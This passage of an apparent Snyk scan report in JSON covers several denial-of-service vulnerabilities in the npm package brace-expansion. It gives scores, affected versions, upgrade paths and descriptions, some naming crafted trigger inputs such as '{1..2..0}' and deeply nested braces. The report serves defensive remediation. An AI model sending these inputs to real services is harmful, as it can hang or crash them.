Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
